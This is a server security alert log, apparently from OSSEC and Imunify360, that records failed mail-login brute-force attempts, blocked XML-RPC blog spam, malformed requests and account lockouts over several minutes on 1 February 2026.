2026-02-01 15:21:09 dovecot_login authenticator failed for H=(hZUL5kg) [178.16.52.139]:56047: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
country_id: 1835841
description:
2026-02-01 15:22:23 dovecot_login authenticator failed for H=([169.211.232.182]) [169.211.232.182]:43156: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:22:26 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:33470: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.72.61.166
country_id: 1210997
description:
[2026-02-01 15:22:38 +0800] info [webmaild] 103.72.61.166 - central@agpc.org.my "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:22:15 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54936: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:22:12 dovecot_login authenticator failed for H=(9NDAfV) [178.16.52.139]:53589: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:meraakistudio_jzp165vn.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3cf00118057f75d409702d2293e26882771bc14f||Title:0xc8fb1d41||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:22:52 dovecot_login authenticator failed for H=(5fDe1tp8) [178.16.52.139]:59853: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.175.118
country_id: 1814991
description:
2026-02-01 15:22:56 dovecot_login authenticator failed for H=([111.61.175.118]) [111.61.175.118]:40906: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:22:05 dovecot_login authenticator failed for H=(RvEuST) [178.16.54.22]:51638: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.205.245.9
country_id: 1269750
description:
2026-02-01 15:22:47 dovecot_plain authenticator failed for H=(6LCBR6) [49.205.245.9]:8317: 535 Incorrect authentication data (set_id=kelveen@tst-ma.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:22:22 dovecot_login authenticator failed for H=(Dpl4QmdO) [158.94.208.175]:55092: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:23:02 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52624: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:23:14 dovecot_login authenticator failed for H=(965Xkzd0Ps) [178.16.54.22]:53645: 535 Incorrect authentication data (set_id=jon)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:23:14 dovecot_login authenticator failed for H=(91BVLk) [178.16.52.139]:60864: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:23:28 dovecot_login authenticator failed for H=(mUrpSZO90N) [158.94.208.175]:62994: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:meraakistudio_jzp165vn.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fd8feec6e12c2250e9f5efdd8221d5d0cdf8c072||Title:0x74d58f75||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:24:12 dovecot_login authenticator failed for H=(ZZ43sjhs1U) [178.16.52.139]:60570: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:24:26 dovecot_login authenticator failed for H=(ocUzRrgyX) [178.16.54.22]:55957: 535 Incorrect authentication data (set_id=jon)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:24:35 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:59528: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 15:24:49 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (subscuroum) [87.103.126.54]:52927: 535 Incorrect authentication data (set_id=skgoh@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:24:04 dovecot_login authenticator failed for H=(hykESx) [158.94.208.175]:65182: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.227.245.154
country_id: 690791
description:
2026-02-01 15:24:29 dovecot_login authenticator failed for H=(213-227-245-154.static.vega-ua.net) [213.227.245.154]:58429: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:24:05 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52581: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.41.228.21
country_id: 1814991
description:
2026-02-01 15:24:19 dovecot_login authenticator failed for H=([112.48.16.186]) [120.41.228.21]:51958: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:meraakistudio_jzp165vn.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c3b83931ef037b242fc1842d5c9030de09a488e6||Title:0xd8bbf335||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:25:10 dovecot_login authenticator failed for H=(jDL66Lhl) [158.94.208.175]:62139: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:25:10 dovecot_login authenticator failed for H=(HNnB5I0kt) [178.16.52.139]:55328: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-02-01 15:25:18 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:37019: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:25:24 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64736: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:25:01 dovecot_login authenticator failed for H=(OTXe43wkS) [178.16.54.22]:56778: 535 Incorrect authentication data (set_id=jon)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:meraakistudio_jzp165vn.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a8655db172add8469597506069775d3b51b08d70||Title:0x83c932fa||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-02-01 15:25:50 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:39004: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.223.129.28
country_id: 1668284
description:
2026-02-01 15:26:06 dovecot_plain authenticator failed for H=61-223-129-28.dynamic-ip.hinet.net (X58MAJ152S6) [61.223.129.28]:13229: 535 Incorrect authentication data (set_id=meemee@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:26:45 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:57754: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:26:38 dovecot_login authenticator failed for H=(5D1TBl) [178.16.54.22]:51648: 535 Incorrect authentication data (set_id=jon)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:26:41 dovecot_login authenticator failed for H=(RMlgT9Wf) [178.16.52.139]:50670: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:26:17 dovecot_login authenticator failed for H=(LBnLvWJTKa) [178.16.52.139]:62524: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:26:22 dovecot_login authenticator failed for H=(NWgZIB) [158.94.208.175]:57854: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:meraakistudio_jzp165vn.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a7550646b244cb9f2e01cc19c89cfc74bc266022||Title:0xc2799661||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:26:09 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54173: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.82
country_id: 1269750
description:
2026-02-01 15:27:56 dovecot_login authenticator failed for H=(nsg-corporate-82.230.187.122.airtel.in) [122.187.230.82]:60467: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:27:03 dovecot_login authenticator failed for H=(J4MAhOMaK) [178.16.52.139]:59511: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:27:12 dovecot_login authenticator failed for H=(DYO3Rg0O) [178.16.54.22]:64141: 535 Incorrect authentication data (set_id=jon)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 161.142.142.5
country_id: 1733045
description:
2026-02-01 15:27:06 dovecot_plain authenticator failed for H=(1VT5KO7) [161.142.142.5]:27001: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.245.182
country_id: 337996
description:
2026-02-01 15:27:09 dovecot_plain authenticator failed for H=(56QUULLY) [196.189.245.182]:3364: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:27:09 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59238: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:meraakistudio_jzp165vn.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:54582d192ab82dc1fc71409eac08cf7ab9459130||Title:0xf5993745||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:27:02 dovecot_login authenticator failed for H=(W0HtISj) [158.94.208.175]:65528: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.0.64.158
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=4&sub=3 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:28:24 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54460: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.164.91.67
country_id: 1814991
description:
2026-02-01 15:28:43 dovecot_login authenticator failed for H=([39.164.91.67]) [39.164.91.67]:52222: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:28:20 dovecot_login authenticator failed for H=(SXPWLK) [158.94.208.175]:57464: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.150.135.19
country_id: 690791
description:
2026-02-01 15:28:27 dovecot_login authenticator failed for H=(19.135.150.178.triolan.net) [178.150.135.19]:16311: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:meraakistudio_jzp165vn.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:59d4186b1c287ad4a9970cdf23ba38d4039851f5||Title:0xb81cedda||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.202.80.152
country_id: 1835841
description:
2026-02-01 15:28:54 dovecot_login authenticator failed for H=([114.202.80.152]) [114.202.80.152]:38883: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:28:08 dovecot_login authenticator failed for H=(924Cbbo) [178.16.54.22]:54881: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.159
country_id: 2750405
description:
2026-02-01 15:28:16 229365 [Warning] Aborted connection 229365 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.159' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:28:03 dovecot_login authenticator failed for H=(XS238EUg) [178.16.52.139]:62676: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:28:56 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:33616: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:29:02 dovecot_login authenticator failed for H=(elirNMt) [178.16.52.139]:49658: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:29:09 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50039: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:meraakistudio_jzp165vn.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7f9ace5327677c5d454ec9e995797668a7a8297e||Title:0x79b3f184||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:29:26 dovecot_login authenticator failed for H=(I3X2TQ3) [178.16.52.139]:50106: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 15:29:30 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.190
country_id: 1814991
description:
2026-02-01 15:29:31 dovecot_login authenticator failed for H=([111.61.177.190]) [111.61.177.190]:17376: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:29:32 dovecot_login authenticator failed for H=(5BP16NN) [158.94.208.175]:57092: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-02-01 15:29:55 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:34991: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:29:28 dovecot_login authenticator failed for H=(O2B70mP7QG) [178.16.54.22]:62169: 535 Incorrect authentication data (set_id=jon)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.30.161.197
country_id: 690791
description:
2026-02-01 15:29:59 dovecot_login authenticator failed for H=(46.30.161.197.access.ipnet.ua) [46.30.161.197]:37300: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 15:30:31 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-02-01 15:30:37 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:48314: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:30:07 dovecot_login authenticator failed for H=(gH6ADM) [178.16.54.22]:63504: 535 Incorrect authentication data (set_id=jon)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:30:17 dovecot_login authenticator failed for H=(byy3Se) [178.16.52.139]:65155: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.178.39.106
country_id: 1814991
description:
2026-02-01 15:30:25 dovecot_login authenticator failed for H=([220.178.39.106]) [220.178.39.106]:57907: 535 Incorrect authentication data


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.159
country_id: 2750405
description:
2026-02-01 15:30:52 229457 [Warning] Aborted connection 229457 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.159' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:30:02 dovecot_login authenticator failed for H=(oHG32d) [158.94.208.175]:52642: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 15:30:17 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:22639: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:meraakistudio_jzp165vn.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3b4dd1a22c770aaf19a7607873b665a4e9b98780||Title:0x92f09e6d||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:30:02 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56620: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-02-01 15:30:41 dovecot_login authenticator failed for H=(175-180-129-87.adsl.dynamic.seed.net.tw) [175.180.129.87]:45482: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:31:03 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62155: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:31:05 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:43928: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:31:22 dovecot_login authenticator failed for H=(cqOMTFsB) [158.94.208.175]:62496: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:31:09 dovecot_login authenticator failed for H=(WtiUXQF0H) [178.16.54.22]:57878: 535 Incorrect authentication data (set_id=jon)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:31:10 dovecot_login authenticator failed for H=(pd0kK71iq) [178.16.52.139]:59701: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 15:31:20 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:meraakistudio_jzp165vn.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d93adfe6d1b6616737e85c924b5b148339fb8e14||Title:0xcc0ddc77||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:32:08 dovecot_login authenticator failed for H=(UtPwOgyHMa) [178.16.54.22]:60935: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:32:21 dovecot_login authenticator failed for H=(Cy69GA6wLS) [158.94.208.175]:62863: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:32:51 dovecot_login authenticator failed for H=(31IGsdF4Wn) [158.94.208.175]:58340: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.188.71.154
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=182180 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:32:17 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:65007: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-02-01 15:33:01 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:43124: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:32:12 dovecot_login authenticator failed for H=(t9RhER) [178.16.52.139]:57059: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:meraakistudio_jzp165vn.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f470cc475408e0f8f7fc385099df1517392b2a42||Title:0xd85217f5||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 15:32:23 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:33:14 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:55218: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:33:15 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53949: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:33:20 dovecot_login authenticator failed for H=(2T26kV9) [178.16.52.139]:49296: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:meraakistudio_jzp165vn.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:33c2de04df134a566adb9552945a1b02496099a9||Title:0xbbba7db8||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.135.188.125
country_id: 1835841
description:
2026-02-01 15:33:32 dovecot_login authenticator failed for H=([121.135.188.125]) [121.135.188.125]:32834: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 15:33:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
